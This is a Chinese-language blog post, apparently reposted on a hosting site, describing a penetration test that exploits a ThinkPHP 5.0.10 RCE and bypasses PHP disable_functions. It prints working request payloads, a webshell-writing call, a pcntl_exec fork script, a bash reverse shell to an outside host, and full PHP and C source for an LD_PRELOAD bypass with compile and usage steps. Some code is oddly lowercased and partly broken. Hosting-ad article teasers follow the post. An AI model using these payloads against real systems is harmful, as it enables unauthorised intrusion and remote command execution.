一次项目中Thinkphp绕过禁用函数的实战记录

admin3年前PHP教程53
目录
前言file_put_contents pcntl_exec ld_preload 劫持 总结
前言

在一次渗透测试中,手工找了许久没发现什么东西,抱着尝试的心情打开了xray

果然xray还是挺给力的,一打开网页的时候xray直接就扫描出了thinkphp 5.0.10 rce漏洞

直接使用命令执行payload,结果报出system函数被禁用

?

1
s=whoami&_method=__construct&method=&filter[]=system




尝试应用其他函数进行利用,经过测试发现call_user_func函数没有被禁用
payload

?

1
s=phpinfo&_method=__construct&method=get&filter[]=call_user_func




可以看到哪些函数被禁用了

看到assert和include没有被禁用,一开始想写shell进日志然后去利用文件包含,发现并没有任何反应,也不报错。

file_put_contents

又回去看被禁用的函数,发现文件函数没被禁用,可以用file_put_contents函数去写文件
测试写入phpinfo文件

?

1
s=file_put_contents('/www/wwwroot/public/phpinfo.php',base64_decode('pd9wahagjhbhc3m9jf9qt1nuwydhywfhj107zxzhbcgkcgfzcyk7pz4'))&_method=__construct&filter=assert




写入成功

写入冰蝎马可以进行文件管理了

虽然可以进行文件操作了,但还是没法执行命令

pcntl_exec

想到了比较容易被忽略的命令执行函数pcntl_exec,发现pcntl_exec函数没有被禁用,该函数可以指定一个程序来执行指定文件

先写一个exe.php文件,在文件中指定pcntl_exec的参数(执行运行程序,运行指定文件)

?

1
2
3
4
5
6
7
8
9
<?php
    switch (pcntl_fork()) {
        case 0:
            pcntl_exec('/bin/bash', ['/www/wwwroot/public/exec.sh']);
            exit(0);
        default:
            break;
    }
?>




exec.sh文件写入反弹命令

?

1
bash -i >& /dev/tcp/vpsip/7777 0>&1




浏览器访问exe.php成功反弹shell

ld_preload 劫持

这次渗透是结束了,这里尝试了另外一种绕过方法,如果遇到pcntl_exec函数也被禁用的情况,可以利用环境变量 ld_preload 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果。详细的原理介绍就不赘述了,可以参考这个大哥的文章meetsec/index.php/archives/44/

这种方法主要是需要上传一个.php和一个由.c程序编译得到共享对象.so文件到服务器

bypass_disablefunc.php

?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
    echo "<p> <b>example</b>: site/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
 
    $cmd = $_get["cmd"];
    $out_path = $_get["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
 
    putenv("evil_cmdline=" . $evil_cmdline);
 
    $so_path = $_get["sopath"];
    putenv("ld_preload=" . $so_path);
 
    mail("", "", "", "");
 
    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
 
    unlink($out_path);
?>




bypass_disablefunc.php提供了三个参数:

    cmd 参数,待执行的系统命令(如 whoami)。outpath 参数,保存命令执行输出结果的文件路径(如 /www/wwwroot/public),便于在页面上显示,另外关于该参数,你应注意 web 是否有读写权限、web 是否可跨目录访问、文件将被覆盖和删除等几点。sopath 参数,指定劫持系统函数的共享对象的绝对路径(如 /www/wwwroot/bypass_disablefunc_x64.so),另外关于该参数,你应注意 web 是否可跨目录访问到它,最好也传到web根目录下。

bypass_disablefunc.c

?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#define _gnu_source
 
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
 
 
extern char** environ;
 
__attribute__ ((__constructor__)) void preload (void)
{
    // get command line options and arg
    const char* cmdline = getenv("evil_cmdline");
 
    // unset environment variable ld_preload.
    // unsetenv("ld_preload") no effect on some
    // distribution (e.g., centos), i need crafty trick.
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "ld_preload")) {
                    environ[i][0] = '\0';
            }
    }
 
    // executive command
    system(cmdline);
}




这里需要用命令gcc -shared -fpic bypass_disablefunc.c -o bypass_disablefunc_x64.so将 bypass_disablefunc.c编译为共享对象 bypass_disablefunc_x64.so

要根据目标架构编译成不同版本,在 x64 的环境中编译,若不带编译选项则默认为 x64,若要编译成 x86 架构需要加上 -m32 选项。

可以在github上找到上述需要的文件
github/yangyangwithgnu/bypass_disablefunc_via_ld_preload

这里利用之前的文件管理冰蝎shell将php和so文件上传到服务器web目录
在浏览器访问bypass_disablefunc.php传入参数

?

1
http://xxx/bypass_disablefunc.php?cmd=ls&outpath=/www/wwwroot%20/public/1.txt&sopath=/www/wwwroot/public/bypass_disablefunc_x64.so




成功执行命令

总结

到此这篇关于一次项目中thinkphp绕过禁用函数的文章就介绍到这了,更多相关thinkphp绕过禁用函数内容请搜索服务器之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持服务器之家!

原文链接:mp.weixin.qq/s/U3wUrp50SFPtvpzMwXcmhw

免责声明:本文内容来自用户上传并发布,站点仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。请核实广告和内容真实性,谨慎使用。

相关文章

GPU服务器主要是用来干什么的租用美国显卡服务器如何选择合适的

很多人其实都听说过服务器,服务器在互联网中是非常重要的设施,需要承载不同数量的人数流量访问,这对于服务器是有着严格要求的,要有能够快速吞吐、稳定性和长时间运行的能力。近几年GPU服务器逐渐走入人们的视...

PHP使用三种方法实现数据采集

什么叫采集?就是使用PHP程序,把其他网站中的信息抓取到我们自己的数据库中、网站中。PHP制作采集的技术从底层的socket到高层的文件操作函数,一共有3种方法可以实现采集。1. 使用socket技术...

香港大带宽服务器测评怎么判断好坏

香港大带宽服务器测评怎么判断好坏?要判断香港大带宽服务器的好坏,需要考虑多个因素。以下是一些可参考的测评指标:带宽速度:测量服务器的带宽速度是很重要的,可以使用网站或工具进行测试。越高的带宽速度意味着...

gpu服务器适合什么运算美国GPU服务器适合哪些行业购买

现在许多企业早已了解到GPU规模性并行计算产生的优点,刚开始用强劲的多GPU服务器虚拟机各种各样方位的科学研究。那么GPU服务器是干什么的?gpu服务器适合什么运算?什么是GPU服务器GPU计算是使用...

租用高防服务器时重点看哪几个参数?国内100G高防服务器购买需要注意哪些事项?

高防服务器主要是针对公司客户的,高防服务器给客户提供了更加安全的网络执行环境,为客户提供安全的确保。在租赁高防服务器时,大家应该关注哪些参数呢?一起来了解一下。就服务器配置而言,通常会关注4点:cpu...

租用法国服务器中国访问速度怎么样

租用法国服务器中国访问速度怎么样?租用法国服务器在中国访问速度可能会受到一些限制和影响,因为法国位于欧洲,距离中国较远,需要经过多个网络节点才能连接到中国。这样的情况可能导致访问速度变慢和延迟增加。租...